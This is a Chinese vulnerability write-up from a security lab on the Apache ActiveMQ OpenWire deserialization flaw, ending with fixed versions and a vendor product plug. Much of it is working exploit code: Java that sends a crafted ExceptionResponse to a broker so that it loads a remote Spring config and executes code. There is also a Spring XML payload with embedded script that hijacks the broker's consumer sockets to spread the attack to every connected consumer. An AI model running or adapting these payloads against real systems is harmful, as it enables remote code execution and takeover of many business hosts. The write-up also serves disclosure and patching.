前言
漏洞分析
漏洞分析文章网上都比较多了，简单过一下。从补丁中可以发现https://github.com/apache/activemq/commit/3eaf3107f4fb9a3ce7ab45c175bfaeac7e866d5b，主要修改了BaseDataStreamMarshaller类的createThrowable方法，在漏洞版本中没有校验class类型，直接调用了String构造方法。
private Throwable createThrowable(String className, String message) {try {Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());Constructor constructor = clazz.getConstructor(String.class);return (Throwable)constructor.newInstance(message);} catch (Throwable var5) {return new Throwable(className + ": " + message);}}
其中ConnectionErrorMarshaller、MessageAckMarshaller、ExceptionResponseMarshaller中的tightUnmarshal反序列化方法中都调用到了tightUnmarsalThrowable方法，
public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException {super.tightUnmarshal(wireFormat, o, dataIn, bs);ExceptionResponse info = (ExceptionResponse)o;info.setException(this.tightUnmarsalThrowable(wireFormat, dataIn, bs));}
tightUnmarshal是每个数据类型的入口反序列化方法，在根据数据类型获取到对应的反序列化方法后就进入到tightUnmarshal方法进行反序列化，进而触发到tightUnmarsalThrowable
public Object doUnmarshal(DataInput dis) throws IOException {byte dataType = dis.readByte();if (dataType != 0) {DataStreamMarshaller dsm = this.dataMarshallers[dataType & 255];if (dsm == null) {throw new IOException("Unknown data type: " + dataType);} else {Object data = dsm.createObject();if (this.tightEncodingEnabled) {BooleanStream bs = new BooleanStream();bs.unmarshal(dis);dsm.tightUnmarshal(this, data, dis, bs);} else {dsm.looseUnmarshal(this, data, dis);}return data;}} else {return null;}}
在tightUnmarsalThrowable方法中，最终触发到了createThrowable方法。
protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs) throws IOException {if (!bs.readBoolean()) {return null;} else {String clazz = this.tightUnmarshalString(dataIn, bs);String message = this.tightUnmarshalString(dataIn, bs);Throwable o = this.createThrowable(clazz, message);
class和message都是来自于反序列化的结果。意味着我们能够调用任意类的String构造方法，刚好ActiveMQ内置了Sping，配合Spring常用的一个利用类org.springframework.context.support.ClassPathXmlApplicationContext来加载远程的配置文件，实现SPEL表达式注入代码执行RCE。
漏洞利用
正常场景下，生产者只能发送Message给Broker。为了发送Response给Broker肯定需要修改下ActiveMQ的代码，所以大部分利用都是修改代码实现的。为了更简单的实现利用，简单看了看ActiveMQ的协议，构造了下Exploit。ExceptionResponseMarshaller根据名字很容易判断出是ExceptionResponse的序列化/反序列化方法。
public class ExceptionResponse extends Response {public static final byte DATA_STRUCTURE_TYPE = 31;
获取到ExceptionResponse的DATA_STRUCTURE_TYPE为31，整体的协议比较简单，以下为攻击代码。
ByteArrayOutputStream bos = new ByteArrayOutputStream();DataOutput dataOutput = new DataOutputStream(bos);dataOutput.writeInt(0);dataOutput.writeByte(31);dataOutput.writeInt(1);dataOutput.writeBoolean(true);dataOutput.writeInt(1);dataOutput.writeBoolean(true);dataOutput.writeBoolean(true);dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");dataOutput.writeBoolean(true);dataOutput.writeUTF("http://localhost:8000/abcd");Socket socket = new Socket("localhost", 61616);OutputStream socketOutputStream = socket.getOutputStream();socketOutputStream.write(bos.toByteArray());socketOutputStream.close();
在看代码中发现ActiveMQ中存在一个tightEncodingEnabled的配置，启用tightEncodingEnabled配置后，ActiveMQ会使用一种紧凑的消息编码方式，它采用了一些技巧，例如采用更紧凑的数据结构、二进制编码等，以减少消息的大小。
很明显如果目标启用了tightEncodingEnabled的话，上面的攻击代码肯定需要修改。经过测试发现默认Broker未打开该配置，Consumer打开该配置。
这里也给出tightEncodingEnabled场景下，攻击Broker的利用代码
ByteArrayOutputStream bos = new ByteArrayOutputStream();DataOutput dataOutput = new DataOutputStream(bos);dataOutput.writeInt(0);dataOutput.writeByte(31);BooleanStream bs = new BooleanStream();bs.writeBoolean(true);bs.writeBoolean(true);bs.writeBoolean(true);bs.writeBoolean(false);bs.writeBoolean(true);bs.writeBoolean(false);bs.marshal(dataOutput);dataOutput.writeUTF("bb");dataOutput.writeUTF("aa");dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");dataOutput.writeUTF("http://localhost:8000/abcd");bos.flush();Socket socket =new Socket("127.0.0.1", 61616);OutputStream socketOutputStream = socket.getOutputStream();socketOutputStream.write(bos.toByteArray());socketOutputStream.close();
攻击Consumer
写完Broker的利用后，又开始思考是否能对Consumer进行攻击，因为漏洞是出现在反序列化阶段的，按理来说Consumer也会存在该漏洞的。且通常来说，Consumer才是部署业务的机器会比起Broker更加核心，通常一个Broker中会接入多个Consumer，如果能控制Consumer那么很可能一次性能控制大量业务机器。但是Consumer在实际使用中，并不会监听端口，那么怎么来给消费者发送恶意数据呢？
ActiveMQ有两种常用的消息模型，点对点、发布/订阅模式。无论是哪种模式，在实际业务中为了持续消费，通常会设置一个监听器，同时让消费者和Broker保持长链接。那么思路就有了，在控制了Broker后，获取到Broker和消费已建立的Socket链接，给消费推恶意数据进行反序列化按理是可以实现利用的。
所以首先要找到已经ESTABLISH的Socket链接org.apache.activemq.broker.BrokerRegistry#getInstance
public class BrokerRegistry {private static final Logger LOG = LoggerFactory.getLogger(BrokerRegistry.class);private static final BrokerRegistry INSTANCE = new BrokerRegistry();private final Object mutex = new Object();private final Map<String, BrokerService> brokers = new HashMap();public BrokerRegistry() {}public static BrokerRegistry getInstance() {return INSTANCE;}
在该方法中存在一个单例，可以获取到BrokerRegistry，进而获取到broker实例。在broker实例里面简单找了找，很轻松的找到了已经建立的消费链接，[Active Transport]的即是。
获取到Socket后，直接开推恶意数据。这里通过先让Broker加载远程配置文件在Broker上实现SPEL代码执行后，通过代码执行获取消费者socket推送恶意数据，加载远程配置文件。上面也说到了消费者默认开启了tightEncodingEnabled，所以需要使用tightEncodingEnabled的Exp。经过测试，漏洞利用后不会将消费打挂。
<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:context="http://www.springframework.org/schema/context"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsdhttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd"><context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/><bean class="java.lang.String"><property name="String" value="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval("function getunsafe() {var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafe.setAccessible(true);return unsafe.get(null);} var unsafe = getunsafe(); brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();brokers = brokerRegistry.getBrokers();for(key in brokers){ brokerService = brokers.get(key); try{ f = brokerService.getClass().getDeclaredField('shutdownHook'); }catch(e){f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');} f.setAccessible(true); shutdownHook = f.get(brokerService); threadGroup = shutdownHook.getThreadGroup(); f = threadGroup.getClass().getDeclaredField('threads'); threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f)); for(key in threads){ thread = threads[key]; if(thread == null){ continue; } threadName = thread.getName(); if(threadName.startsWith('ActiveMQ Transport: ')){ f = thread.getClass().getDeclaredField('target'); tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f)); f = tcpTransport.getClass().getDeclaredField('socket'); f.setAccessible(true); socket = f.get(tcpTransport); bos = new java.io.ByteArrayOutputStream(); dataOutput = new java.io.DataOutputStream(bos); dataOutput.writeInt(1); dataOutput.writeByte(31); bs = new org.apache.activemq.openwire.BooleanStream(); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(false); bs.writeBoolean(true); bs.writeBoolean(false); bs.marshal(dataOutput); dataOutput.writeUTF('bb'); dataOutput.writeUTF('aa'); dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext'); dataOutput.writeUTF('http://localhost:8000/dddd'); dataOutput.writeShort(0); socketOutputStream = socket.getOutputStream(); socketOutputStream.write(bos.toByteArray()); } } }")}"/></bean></beans>
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(ActiveMQConnection.DEFAULT_USER,ActiveMQConnection.DEFAULT_PASSWORD, "tcp://localhost:61616");Connection connection = connectionFactory.createConnection();connection.start();Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);Destination destination = session.createQueue("tempQueue");MessageConsumer consumer = session.createConsumer(destination);consumer.setMessageListener(new MessageListener() {@Overridepublic void onMessage(Message message) {try {message.acknowledge();TextMessage om = (TextMessage) message;String data = om.getText();System.out.println(data);} catch (JMSException e) {e.printStackTrace();}}});System.in.read();session.close();connection.close();
运行Exploit后，消费触发了漏洞。
发布/订阅消费测试
public class TopicConsumer {public void consumer() throws JMSException, IOException {ConnectionFactory factory = null;Connection connection = null;Session session = null;MessageConsumer consumer = null;try {factory = new ActiveMQConnectionFactory("admin","admin","tcp://localhost:61616");connection = factory.createConnection();connection.start();session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);Destination destination = session.createTopic(TopicProducer.QUEUE_NAME);consumer = session.createConsumer(destination);consumer.setMessageListener(new MessageListener() {@Overridepublic void onMessage(Message message) {try {TextMessage om = (TextMessage) message;String data = om.getText();System.out.println(data);} catch (JMSException e) {e.printStackTrace();}}});} catch(Exception ex){throw ex;}}public static void main(String[] args){TopicConsumer consumer = new TopicConsumer();try{consumer.consumer();} catch (Exception ex){ex.printStackTrace();}}}
SpringBoot-activemq 消费测试
(spring-boot-starter-activemq 最新版3.1.5依然还没修复该漏洞)
修复方案
更新ActiveMQ至已修复版本，具体修复版本号如下：
5.18.3、5.17.6、5.16.7、5.15.16
安装靖云甲，可天然免疫该漏洞攻击：
恶意请求已被靖云甲阻断。
参考
https://xz.aliyun.com/t/12929
https://www.cnblogs.com/sam-uncle/p/10990324.html
（yulegeyu@边界无限烛龙实验室供稿）
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